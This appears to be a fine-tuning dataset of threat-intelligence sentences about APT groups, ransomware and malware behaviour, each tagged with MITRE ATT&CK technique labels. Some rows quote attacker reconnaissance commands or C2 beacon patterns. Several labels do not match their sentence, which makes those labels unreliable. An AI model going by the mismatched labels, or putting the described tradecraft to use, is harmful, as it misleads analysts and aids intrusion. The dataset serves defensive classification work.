"Winnti Linux variant’s core functionality is within ‘libxselinux’. Upon execution, an embedded configuration is decoded from the data section using a simple XOR cipher. An example Python function to decode this configuration is shown below","['T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information']",fine_tune
Lazarus Group is one of the most sophisticated North Korean APTs that has been active since 2009. The group is responsible for many high profile attacks in the past and has gained worldwide attention. The Malwarebytes Threat Intelligence team is actively monitoring its activities and was able to spot a new campaign on Jan 18th 2022,['T1105 - Ingress Tool Transfer'],fine_tune
The payload is an application that creates a hidden window (the name of the class and the window is SK_Parasite,['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"kaudited — A file installed as /usr/bin/kaudited. This binary will drop and install several loadable kernel modules (LKMs) on the infected machine. To ensure that the infected machine won’t crash due to the kernel-mode rootkits, it uses different modules for specific kernel versions. The kaudited binary also drops a watchdog component that will monitor the cryptocurrency miner file and process",['T1105 - Ingress Tool Transfer'],fine_tune
"These credentials are used in a credential stuffing or password spraying attack against the victim’s remote services, such as webmail or other internet reachable mail services. After obtaining a valid account, they use this account to access the victim’s VPN, Citrix or another remote service that allows access to the network of the victim. Information regarding these remotes services is taken from the mailbox, cloud drive, or other cloud resources accessible by the compromised account. As soon as they have a foothold on a system (also known as patient zero or index case), they check the permissions of the account on that system, and attempt to obtain a list of accounts with administrator privileges. With this list of administrator-accounts, the adversary performs another password spraying attack until a valid admin account is compromised. With this valid admin account, a Cobalt Strike beacon is loaded into memory of patient zero. From here on the adversary stops using the victim’s remote service to access the victim’s network, and starts using the Cobalt Strike beacon for remote access and command and control",['T1078.002 - Domain Accounts'],fine_tune
"TIN WOODLAWNTIN WOODLAWN is a targeted threat group, active since at least 2014, that CTU researchers assess with moderate confidence is operated or tasked by the Vietnamese government. TIN WOODLAWN is technically capable and uses a range of techniques including template injection, obfuscated macros and steganography for malware delivery, memory-resident malware, use of native command line scripts for Cobalt Strike persistence, and non-standard command and control channels such as DNS and ICMP.ToolsTaegis™ XDR Adversary Software Coverage Tool",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"As mentioned in our earlier technical report on Trojan.Hydraq, the back door allows the attacker to perform any of the following activities: - Adjust token privileges. Create, modify, and delete registry subkeys. Retrieve a list of logical drives. Uninstall itself by deleting the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RaS[FOUR RANDOM CHARACTERS] subkey",['T1012 - Query Registry'],fine_tune
"Hancitor, a loader that provides Malware as a Service, has been observed distributing malware such as FickerStealer",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"The third campaign deployed a different custom RPC backdoor to that used in the second campaign. This backdoor used code derived from the publicly available PowerShellRunner tool to execute PowerShell scripts without using powershell.exe. Prior to execution, the PowerShell scripts were stored Base64-encoded in the registry",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"A typical response from the C2 server is a legitimate-looking webpage containing the string “!DOCTYPE html”, which the malware checks. The malware then locates a Base64-encoded blob, which it decodes and proceeds to load as a shellcode",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"One of the Cobalt 2.0 Group’s latest campaigns, an attack that leads to a Cobalt Strike beacon and to JavaScript backdoor, was investigated and presented by the Talos research team. Morphisec has investigated different samples from the same campaign. The following analysis presents our findings, focusing on the additional sophistication patterns and attribution patterns",['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
The malware will collect data from the victim machine and write this information to LOCALAPPDATA%\MicroSoft Updatea\uplog.tmp. The following information is collected from the victim,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"Like most ransomware, Sodinokibi encrypts files and adds a random extension such as “test.jpg.1cd8t9ahd5” (Data Encrypted for Impact, ATT&amp;CK T1486). It also drops a ransom note in folders that contain encrypted files. The name of the ransom note is the random extension added to the encrypted files. For example, if the extension is "".1cd8t9ahd5"", the ransom message filename will be called ""1cd8t9ahd5-HOW-TO-DECRYPT.txt",['T1486 - Data Encrypted for Impact'],fine_tune
"The DUBNIUM samples are distributed in various ways, one instance was using a zero-day exploit that targets Adobe Flash, in December 2015",['T1203 - Exploitation for Client Execution'],fine_tune
The payload decryption routine uses a custom symmetric algorithm based on arithmetic and byte-shift instructions – a combination of SHL/SHR/SUB/ADD/XOR – with hardcoded keys,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"This recent APT10 activity has included both traditional spear phishing and access to victim’s networks through service providers. For more information on infection via service providers see M-Trends 2016). APT10 spear phishes have been relatively unsophisticated, leveraging .lnk files within archives, files with double extensions (e.g. Redacted]_Group_Meeting_Document_20170222_doc_.exe) and in some cases simply identically named decoy documents and malicious launchers within the same archive",['T1204.002 - User Execution: Malicious File'],fine_tune
Malicious web shell activity as observed in the Cybereason solution. Commands executed via a modified version of the China Chopper web shell,"['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1505.003 - Server Software Component: Web Shell']",fine_tune
"This campaign is different from prior activity because a new dropper was observed being used by Rocke that is written in Go (Golang) instead of Python. The detection for the malware on VirusTotal (VT) is nearly non-existent. Figure 1, below, shows the detections for the most recent sample submitted to VT. It can be seen that only one engine successfully detected it as malicious",['T1057 - Process Discovery'],fine_tune
"On June 12, QakBot continued its evolution. The delivery method of a .ZIP file to malicious .VBS was the same, but this time QakBot also dropped a Zloader payload on its victim. Beginning around 14:24 UTC, Falcon Complete observed QakBot threat actors using a new .VBS payload",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"While the decoy in Figure 2 is displayed, the macro will search the document for the delimiter ###$$$ and write the base64 encoded text that follows this delimiter to the file %APPDATA%\Base.txt. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents. As seen in the above request, the Trojan will generate a URL for its beacon with the following structure: http://&lt;c2 domain&gt;/chk. hex(Environment.UserName/Environment.MachineName)&gt; The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. The C2 server will respond to the Trojan’s request by echoing the value &lt;hex(Environment.UserName/Environment.MachineName)&gt; if it wishes to provide additional commands. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://&lt;c2 domain&gt;/what. hex(Environment.UserName/Environment.MachineName)&gt; After issuing the what command, the Trojan will parse the C2's response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"Replying to @ESETresearchAttackers replaced win_fw.dll, an internal component that is executed during IDA Pro installation, with a malicious DLL. The malicious win_fw.dll creates a Windows scheduled task that starts a second malicious component, idahelper.dll, from the IDA plugins folder","['T1036.004 - Masquerading: Masquerade Task or Service', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",fine_tune
"The maldocs used in this campaign typically contain a malicious VBA macro that downloads and activates the next stage of the infection chain. Although the VBA macro contains an auto open subroutine, it uses several VBA functions registered to trigger if the ""Typing replaces selection"" property is enabled in Microsoft Word. Appdata%\desktop.iniThe next stage of the VBS is run using wscript.exe using a command such as:%windir%\System32\wscript.exe //e:vbscript //b &lt;path_to_Stage_2&gt;Macros dropping VBS to disk and running via wscript.exe",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
The injection function is responsible for resolving all the required API calls. It then opens a handle to the target process by using the OpenProcess API. It uses the SizeOfImage field in the NT header of the DLL to be injected into allocated space into the target process along with a separate space for the init_dll function. The purpose of the init_dll function is to initialize the injected DLL and then pass the control flow to the entry point of the DLL. One thing to note here is a simple CreateRemoteThread method is used to start a thread inside the target process unlike the KernelCallbackTable technique used in our macro,['T1104 - Multi-Stage Channels'],fine_tune
"SDBbot is a new remote access Trojan (RAT) written in C++ that has been delivered by the Get2 downloader in recent TA505 campaigns. Its name is derived from the debugging log file (sdb.log.txt) and DLL name (BotDLL[.]dll) used in the initial analyzed sample. SDBbot is composed of three pieces: an installer, a loader, and a RAT component","['T1055.001 - Process Injection: Dynamic-link Library Injection', 'T1105 - Ingress Tool Transfer']",fine_tune
"This would save them the trouble of needing to load additional malware to exfiltrate files or other material. We are aware of no evidence of follow-up interactions between the operators and successful victims as part of any extortion attempts. Furthermore, Stealth Falcon’s use of JavaScript to profile and de-anonymize victims seems inconsistent with a primary motivation of collecting information that could be used for blackmail",['T1005 - Data from Local System'],fine_tune
Siloscape mimics CExecSvc.exe privileges by impersonating its main thread and then calls NtSetInformationSymbolicLink on a newly created symbolic link to break out of the container,['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],fine_tune
"One unique and fairly recent variant is a plain downloader that follows a similar convention to the aforementioned MarkiRAT implants. It also leverages MFC and embeds its logic within a CDialog class, getting executed upon initiation of an MFC dialog object during runtime. The use of this sample diverges from those used by the group in the past, where the payload was dropped by the malware itself, suggesting that the group might be in the process of changing some of its TTPs",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"The implementation details of Seaduke also have some similarities to WellMess, as both use encrypted cookies to transfer metadata about the data being sent and use obfuscated base64 data in HTTP requests as the contents of communications. These techniques are not unique to Blue Kitsune but provide an interesting correlation between the WellMess backdoor and Blue Kitsune tools used since 2015",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"1) The group delivers a malicious Office lure document to victims, most likely via a spear-phishing email. 2) These lure documents use titles with government, military, and diplomatic themes, and the file names are written in English or Cyrillic languages. These documents are not very sophisticated, but evidence of infections shows that they’re effective",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"In past attacks, the Ragnar Locker group has used exploits of managed service providers or attacks on Windows Remote Desktop Protocol (RDP) connections to gain a foothold on targeted networks","['T1569.002 - System Services: Service Execution', 'T1543.003 - Create or Modify System Process: Windows Service']",fine_tune
DOMAIN} nltest /domain_trusts /all_trusts net share route print netstat -nao net localgroup qwinsta WMI Query ROOT\CIMV2:Win32_BIOS WMI Query ROOT\CIMV2:Win32_DiskDrive WMI Query ROOT\CIMV2:Win32_PhysicalMemory WMI Query ROOT\CIMV2:Win32_Product WMI Query ROOT\CIMV2:Win32_PnPEntity - whoami /all - arp -a - ipconfig /all - net view /all - cmd /c set - - nltest /domain_trusts /all_trusts - net share - route print - netstat -nao - net localgroup - qwinsta - WMI Query ROOT\CIMV2:Win32_BIOS - WMI Query ROOT\CIMV2:Win32_DiskDrive - WMI Query ROOT\CIMV2:Win32_PhysicalMemory - WMI Query ROOT\CIMV2:Win32_Product - WMI Query ROOT\CIMV2:Win32_PnPEntity,['T1047 - Windows Management Instrumentation'],fine_tune
"Once gaining the initial foothold into a container, Hildegard establishes either a tmate session or an IRC channel back to the C2. It is unclear how TeamTNT chooses and tasks between these two C2 channels, as both can serve the same purpose. Unit 42 researchers have not observed any commands in the IRC channel. However, the IRC server's metadata indicates that the server was deployed on Jan",['T1071 - Application Layer Protocol'],fine_tune
Grants system privileges via Windows services - Uses DLL sideloading technique to evade security solutions - Starts and injects code to a new svchost process to prevent tracking,"['T1543.003 - Create or Modify System Process: Windows Service', 'T1055 - Process Injection']",fine_tune
This component overwrites the master boot record (MBR) of an infected host with a malicious 16-bit bootloader with a SHA256 hash of,['T1561.002 - Disk Structure Wipe'],fine_tune
"Analysis of BRONZE BUTLER's operations, targeting, and capability led CTU researchers to assess that it is likely that the group is located in the PRC. The group has used spearphishing, strategic web compromises (SWCs), and an exploit of a zero-day vulnerability to compromise targeted systems. After exfiltrating targeted data from a network, BRONZE BUTLER typically deletes evidence of its activities. However, it maintains access to compromised environments when possible, periodically revisiting compromised sites to identify new opportunities for data exfiltration",['T1087.002 - Account Discovery: Domain Account'],fine_tune
"Also, the PlugX that Mustang Panda APT uses has some extra features, including spreading through USB, gathering information, and stealing documents in air-gaped networks via USB","['T1560.003 - Archive via Custom Method', 'T1074.001 - Data Staged: Local Data Staging']",fine_tune
"The following commands were used to create and add the DefaultUser account to the local Administrators group, and subsequently hide the account from the Windows logon screen","['T1087.001 - Account Discovery: Local Account', 'T1098 - Account Manipulation', 'T1136.001 - Create Account: Local Account', 'T1564.002 - Hide Artifacts: Hidden Users']",fine_tune
"At this point the C2 sends a JSON with commands to execute, including uploading/downloading files, taking a screenshot and finding *.rar archives on the host",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"The captured sample used in this analysis is an MSI file named “view-(AVISO)2020.msi” that is spread through a ZIP archive, just as with the previous variant. In the previous analysis, I showed that this MSI file is parsed and executed automatically by MsiExec.exe when a user double clicks on it in Windows OS",['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
"After gaining an initial foothold on a compromised system, the NICKEL actors routinely performed reconnaissance on the network, working to gain access to additional accounts or higher-value systems. NICKEL typically deployed a keylogger to capture credentials from users on compromised systems","['T1070 - Indicator Removal on Host', 'T1114.002 - Email Collection: Remote Email Collection']",fine_tune
"In 2011, while still at McAfee, he went on to reveal Comment Crew (which he calls Comment Panda) operating alongside Elderwood. It's called that because the group so often uses a technique involving internal software ""comment"" features on web pages as a tool to infiltrate target computers",['T1189 - Drive-by Compromise'],fine_tune
The threat actor initially conducts system reconnaissance to assess the AV software installed and the user privilege,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"We observed the threat group upload a second stage malware, known as BUBBLEWRAP (also known as Backdoor.APT.FakeWinHTTPHelper) to their Dropbox account along with the following command","['T1049 - System Network Connections Discovery', 'T1069.001 - Permission Groups Discovery: Local Groups']",fine_tune
"Finally, it deletes Shadow Volume Copies and prevent the victim from using Shadow Volumes to recover their encrypted files","['T1047 - Windows Management Instrumentation', 'T1490 - Inhibit System Recovery']",fine_tune
"Deriving C2 URLs from a Domain Generation Algorithm (DGA) using lists of domain names, subdomains, top-level domains (TLDs), Uniform Resource Identifiers (URIs), file names, and file extensions",['T1568.002 - Domain Generation Algorithms'],fine_tune
"These fake updates are served via legitimate websites that have been compromised, and use social engineering to trick users into downloading and running a malicious executable. These fake update campaigns appear to be a pay-per-install service that is simply used by INDRIK SPIDER to deliver its malware, as other malware has also been delivered via the same campaigns",['T1105 - Ingress Tool Transfer'],fine_tune
"Although the developers attempt to use a denylist of files and directories to skip, it was observed encrypting core Windows operating system files, which caused the operating system to become unstable and crash. This was observed when running the ransomware on a Windows 2012 machine",['T1486 - Data Encrypted for Impact'],fine_tune
"In a new sample of the REvil ransomware discovered by MalwareHunterTeam, a new -smode command-line argument was added that forces the computer to reboot into Safe Mode before encrypting a device",['T1562.009 - Impair Defenses: Safe Boot Mode'],fine_tune
"The BackConfig custom trojan has a flexible plug-in architecture for components offering various features, including the ability to gather system and keylog information and to upload and execute additional payloads","['T1105 - Ingress Tool Transfer', 'T1082 - System Information Discovery']",fine_tune
"Since then, the threat actors have expanded delivery to include malicious spam campaigns, RDP attacks, and other attack vectors. In other reports, threat actors breached at least three managed service providers (MSPs) and used the access to deploy REvil to the MSPs' customers",['T1566 - Phishing'],fine_tune
The following diagram illustrates the changes applied to targeted executables after infection has taken place and how these components interact on execution,['T1091 - Replication Through Removable Media'],fine_tune
"Basic system enumeration – The script collects the Windows OS version, computer name, and the contents of a file Ni.txt in $APPDATA path; the file is presumably created and filled by different modules that will be downloaded by the main module",['T1082 - System Information Discovery'],fine_tune
"Starting with a simple scan, the first information that the malware can collect is related to files with the following extensions: .docx, .xlsx, .pdf, .pptx, .rar, .zip, .jpg, .bmp, .tiff. For each file found on the disk, it retrieves the full path and the last modified date of the file. That information is encrypted using the AES key mentioned earlier and stored in the file 0.txt. Another scan targets the extensions .dat, .json, .db and like the previous scan it retrieves the full path and last modified date of the file. Then it encrypts them and it stores it under the file 57.txt",['T1119 - Automated Collection'],fine_tune
"Reports system hardware and software configuration. This built-in utility is a command line version of the System Information.app (/Applications/Utilities/System Information.app) and is a mainstay of all types of malware, spyware, post-exploitation tools, adware, and PUPs. Because of its deep insight into the entire environment, it can be used for a variety of purposes relating to environment discovery, detection evasion and anti-analysis",['T1082 - System Information Discovery'],fine_tune
"As seen in the above screenshot, there is a large overlap in unique strings in both samples. The original sample involved in the forbes.com breach used HTTP, which is consistent with the original variant discussed in this blog post. It should be noted that while the newest variant that uses direct network communication over port 22 no longer uses HTTP, references to the HTTP strings are still found within the sample itself. This is most likely due to code re-used by the attackers",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"In late July 2021, we identified an ongoing spear phishing campaign pushing Konni Rat to target Russia. Konni was first observed in the wild in 2014 and has been potentially linked to the North Korean APT group named APT37",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
The orchestrator is the main component of the Carbon framework. It is mainly used to inject code into a process that communicates legitimately over the Internet and to dispatch the tasks received from the injected library to other computers on the same network either through named pipes or TCP,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
The HTTP variant checks if Kaspersky is installed on the victim’s machine by searching for the existence of files in the Kaspersky installation folder,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"The Zebrocy Trojan gathers system specific information that it will send to the C2 server via an HTTP POST request to the above URL. Like other Zebrocy samples, this Trojan collects system specific information it will send to the C2 server by running the command SYSTEMINFO &amp; TASKLIST on the command line and by enumerating information about connected storage devices. This specific variant of Zebrocy will also send a screenshot of the victim host as a JPEG image to the C2 server","['T1113 - Screen Capture', 'T1057 - Process Discovery', 'T1120 - Peripheral Device Discovery', 'T1082 - System Information Discovery']",fine_tune
"PowerShower, named and previously disclosed by Palo Alto Networks in their blogspot (see above), is a malicious piece of PowerShell designed to receive PowerShell and VBS modules to execute on the local computer. This malware has been used since October 2018 by Cloud Atlas as a validator and now as a second stage",['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
"We observed a number of phishing emails that reference an invoice, as seen in Figure 1. The attachment in these emails is a weaponized Microsoft Office document containing a malicious macro that – when enabled – leads to the download of Hancitor",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"These are later used by the attackers to send targeted emails to the victims, with the obtained information being used to lure victims into opening those emails",['T1135 - Network Share Discovery'],fine_tune
"The trojanized update file is a standard Windows Installer Patch file that includes compressed resources associated with the update, including the trojanized SolarWinds.Orion.Core.BusinessLayer.dll component",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Cisco Talos has observed another malware campaign that utilizes malicious Microsoft Office documents (maldocs) to spread the remote access trojan (RAT) ObliqueRAT. ObliqueRAT has been linked to the Transparent Tribe APT group in the past,"['T1566.001 - Phishing: Spearphishing Attachment', 'T1566.002 - Phishing: Spearphishing Link']",fine_tune
"Xbash is a novel and complex Linux malware and the newest work of an active cybercrime group. From its characteristics and behaviors, we could realize many trends in current IoT/Linux security battleground",['T1053.003 - Scheduled Task/Job: Cron'],fine_tune
"Once we deobfuscated it, we found that the script contained a large array of hard coded domain names, with one of them being randomly selected and used for subsequent DNS queries. It is important to note that while the Powershell scripts for stages 3 and 4 contain two arrays of domains, the first array is only used if a failure condition is reached while the sample is using the second array. Figure 8: Stage 3 Domain List The 'logic' function present within this Powershell script randomly selects a C2 domain from the second array in the script and uses this domain to perform an initial lookup. If the result of the initial DNS TXT record request is empty or in the case the lookup fails, the 'do_lookup' function is then called and randomly selects a domain from the first array in the script. Interestingly, the domains used by the 'do_lookup' function did not appear to have active 'www' or 'mail' TXT records. The script also uses specific subdomains which are combined with the domains and used for the initial DNS TXT record queries performed by the malware. The malware uses the contents of the TXT record in the response to these queries to determine what action to take next. For instance, the first subdomain is 'www' and a query response with a TXT record containing 'www' will instruct the script to proceed. The response to this DNS request results in the transmission of the fourth stage malware, stored within the TXT record as displayed in Figures 10 and 11. Due to the size of the Stage 4 payload, DNS makes use of TCP for this transaction",['T1071.004 - Application Layer Protocol: DNS'],fine_tune
It writes a file using two data structures: one associated with the file and other used for reading data from the C&amp;C,['T1070 - Indicator Removal on Host'],fine_tune
"The only way to ensure that deleted files, as well as files that you encrypt with EFS, are safe from recovery is to use a secure delete application. Secure delete applications overwrite a deleted file's on-disk data using techniques that are shown to make disk data unrecoverable, even using recovery technology that can read patterns in magnetic media that reveal weakly deleted files. SDelete (Secure Delete) is such an application. Note that SDelete securely deletes file data, but not file names located in free disk space","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1485 - Data Destruction']",fine_tune
"Download and execution of ntbscan (SHA-1: 90da10004c8f6fafdaa2cf18922670a745564f45) – NetBIOS scanner tool widely used by multiple APT actor including the prolific Chinese group APT10 - Execution of Windows built-in networking utility tools - Access to the victim’s files, especially documents located on the Desktop",['T1083 - File and Directory Discovery'],fine_tune
"Executive summary . The PROMETHIUM threat actor — active since 2012 — has been exposed multiple times over the past several years.. However, this has not deterred this actor from continuing and expanding their activities. The group has at least four new trojanized setup files we observed: Firefox (a browser), VPNpro (a VPN client), DriverPack (a pack of drivers) and 5kPlayer (a media player). How did it work. Talos could not pinpoint the initial attack vector, however, the use of trojanized installation files to well-known applications is consistent with the previously documented campaigns. The trojanized setup will install the malware and the legitimate application, which is a good way to disguise its activities. PROMETHIUM has been resilient over the years. We have no evidence that the websites of the real applications were compromised to host the malicious installer. We can conclude that the PROMETHIUM threat actor is interested in new countries or the malicious framework developed by this threat actor is exported in more countries than previously thought. The usage of the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key has a persistence mechanism that has been replaced by the creation of a service. The malicious service: rmaserv.exe . This binary has two main features. Conclusion . The PROMETHIUM threat actor is dedicated and resilient, exposing them hasn't refrained them from moving forward with their agenda",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
As part of Reflective DLL loading the malware performs the following tasks on the DLL it has unwrapped in memory: Copy the unwrapped DLL into new locations in its own memory space. Build imports required by the DLL (based on the IAT of the DLL) - Copy the unwrapped DLL into new locations in its own memory space. Build imports required by the DLL (based on the IAT of the DLL,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"4) Special attention was given to the design of the network communication, in order to reduce the noise a large number of encrypted machines may generate while contacting the Command and Control servers. 5) The encryption scheme is solid – using the AES and RSA algorithms","['T1573.002 - Asymmetric Cryptography', 'T1486 - Data Encrypted for Impact']",fine_tune
"The tool was primarily used by the attackers to move laterally on the victim’s network. PowerShell: Microsoft scripting tool that was used to run commands to download payloads, traverse compromised networks, and carry out reconnaissance. WinSCP: Open source FTP client used to exfiltrate data from targeted organizations",['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
"While investigating the domains and infrastructure used by the phishing components of Gorgon Group, Unit 42 researchers witnessed several common operational security flaws with Gorgon Group's actors throughout their many campaigns. It was one of these OPSEC failures that gave us an interesting cross-section of malware Gorgon Group is using. Included in the directories were a combination of files leveraged in targeted attacks mentioned above against nation states. Additionally, there was a plethora of malware samples that were criminal in nature",['T1106 - Native API'],fine_tune
"Both variants of ServHelper use the same HTTP C&amp;C protocol on port 443 (HTTPS) and, less frequently, port 80 (HTTP). An example of the initial phone home to the C&amp;C server is shown in Figure 5",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"IcedID’s operators probably plan on targeting businesses because they added a network propagation module to the malware from the get-go. IcedID possesses the ability to move to other endpoints, and X-Force researchers also observed it infecting terminal servers",['T1087.003 - Email Account'],fine_tune
"Reaver proceeds to write a shortcut file to ‘%TEMP%\~WUpdate.lnk’. This file is then copied to a filename of ‘Windows Update.lnk’, which is placed in the startup path previously identified. This shortcut file points to the path of the previously written ‘Applet.cpl’ file. Finally, Reaver.v1 will execute the ‘~WUpdate.lnk’ file in a new process, thus loading the recently dropped malicious CPL file. In the event this is successful, the malware will use the following path to store any dropped files",['T1218.002 - Signed Binary Proxy Execution: Control Panel'],fine_tune
"The attackers used the Windows Management Instrumentation Command Line Utility (wmic.exe) to execute commands on remote computers, such as adding a new user or executing additional downloaded PowerShell scripts. Cobalt Strike was also used to carry out credential dumping using ProcDump and to empty log files","['T1136 - Create Account', 'T1047 - Windows Management Instrumentation', 'T1070.001 - Indicator Removal on Host: Clear Windows Event Logs', 'T1003.001 - OS Credential Dumping: LSASS Memory']",fine_tune
"3, 2019): On May 16, 2019 FireEye's Advanced Practices team attributed the remaining ""suspected APT33 activity"" (referred to as GroupB in this blog post) to APT33, operating at the behest of the Iranian government. The actor leveraged this persistence mechanism to download and execute OS-dependent variants of the publicly available .NET POSHC2 backdoor as well as a newly identified PowerShell-based implant self-named POWERTON. Of note, Advanced Practices separately established that APT33 began using POSHC2 as of at least July 2, 2018, and continued to use it throughout the duration of 2018. At one point in late-August, after the POSHC2 kill date, the adversary used RULER.HOMEPAGE to directly download POWERTON, bypassing the intermediary stages previously observed. FireEye Intelligence has previously reported that APT33 has ties to destructive malware, and they pose a heightened risk to critical infrastructure. The operators behind each of the described intrusions are using publicly available but not widely understood tools and techniques in addition to proprietary implants as needed. Custom Backdoor: POWERTON . POWERTON is a backdoor written in PowerShell; FireEye has not yet identified any publicly available toolset with a similar code base, indicating that it is likely custom-built. FireEye has observed an increase in targeted adversaries challenging and subverting security controls on Exchange and Office365. At FireEye, our decisions are data driven, but data provided to us is often incomplete and missing pieces must be inferred based on our expertise in order for us to respond to intrusions effectively. Credential harvesting phishing scams, where harvested credentials may be sold, re-used, or documented permanently elsewhere on the internet",['T1068 - Exploitation for Privilege Escalation'],fine_tune
The malware sets its persistence mechanism by creating a RunKey in the registry to ensure its survival after system reboot events,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Audio surveillance: The malware uses the NAudio library to interact with the microphone and manage the audio stream. The library is stored server-side and pushed to the victim’s machine using a special command. The bot will display the messages using a standard message box. The log includes the process name used by the victim, and keystrokes. The theft is performed by a specific component that enumerates credentials saved in various browsers. Process manager: The attacker can obtain a list of running processes and terminate these by using a specific button",['T1123 - Audio Capture'],fine_tune
"HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules. It also conducts basic victim profiling activity, collecting the computer name, running process IDs, %TEMP% directory path and version of Internet Explorer. It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string. BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell. SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. The malware’s capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
One of the custom tools used by the Leafminer group is a rebranded version of the widespread post-exploitation tool Mimikatz,['T1083 - File and Directory Discovery'],fine_tune
The default case when the service tag is empty allows the malware to treat the contents of the response from the C2 as a command to execute via the Go library functions os.exec.Command or os.exec.Start. The format of the received command is checked against the below regex pattern for validity before executing and the command is read from the body of the message received from the C2,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"In 2014, Imminent Monitor started supporting third-party plugins. The first of these offered the ability to turn the webcam light off while monitoring. Shockwave™ wrote: “Hey, good job on being the first to release a plugin for Imminent Monitor",['T1125 - Video Capture'],fine_tune
"Where the number of passed parameters is one, the payload will read the sys.bin.url file from %appdata%\systemconfig. It will then spawns a new svchost process as C:\\windows\\system32\\svchost.exe –k update in suspended state and injects the payload. Finally, it patches the entry point of svchost.exe so it can execute the malicious payload after the ResumeThread call",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"This module intercepts HWP documents on an infected computer. The HWP file format is similar to Microsoft Word documents, but supported by Hangul, a South Korean word processing application from the Hancom Office bundle. This malware module works independently of the others and maintains its own Bulgarian e-mail account. The account is hardcoded in the module along with the master’s e-mail to which it sends intercepted documents. It is interesting that the module does not search for all the HWP files on infected computer, but reacts only to those that are opened by the user and steals them. This behavior is very unusual for a document-stealing component and we do not see it in other malicious toolkits",['T1005 - Data from Local System'],fine_tune
"In the old campaign the actor used TextBoxes to store its data while in the new one the content has been base64 encoded within the document content. In the new campaign JavaScript files have been used to execute batch and PowerShell files. The new campaign uses Powershell and URLMON API calls to download the cab file while in the old campaign it used certutil to download the cab file. The new campaign has used two different UAC bypass techniques based on the victim’s OS while in the old one the actor only used the Token Impersonation technique. In the new campaign the actor has developed a new variant of Konni RAT that is heavily obfuscated. Also, its configuration is encrypted and is not base64 encoded anymore. It also does not use FTP for exfiltration","['T1041 - Exfiltration Over C2 Channel', 'T1140 - Deobfuscate/Decode Files or Information']",fine_tune
"TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header. TEARDROP does not have code overlap with any previously seen malware. We believe that this was used to execute a customized Cobalt Strike BEACON",['T1105 - Ingress Tool Transfer'],fine_tune
"The adversary used the built-in lateral movement possibilities in Cobalt Strike. Cobalt Strike has various methods for deploying its beacons at newly compromised systems. We have seen the adversary using SMB, named pipes, PsExec, and WinRM. They continue lateral movement and discovery in an attempt to identify the data of interest",['T1021.006 - Remote Services: Windows Remote Management'],fine_tune
"It is used by the financially motivated GOLD SOUTHFIELD threat group, which distributes ransomware via exploit kits, scan-and-exploit techniques, RDP servers, and backdoored software installers. CTU™ researchers attribute GandCrab to the GOLD GARDEN threat group","['T1190 - Exploit Public-Facing Application', 'T1133 - External Remote Services']",fine_tune
"CWS or WSA web scanning prevents access to malicious websites, including watering hole attacks, and detects malware used in these attacks",['T1189 - Drive-by Compromise'],fine_tune
The attackers typically distribute Netwalker ransomware with the use of a reflective PowerShell loader script that has been protected from casual analysis with several layers of obfuscation,"['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1027 - Obfuscated Files or Information']",fine_tune
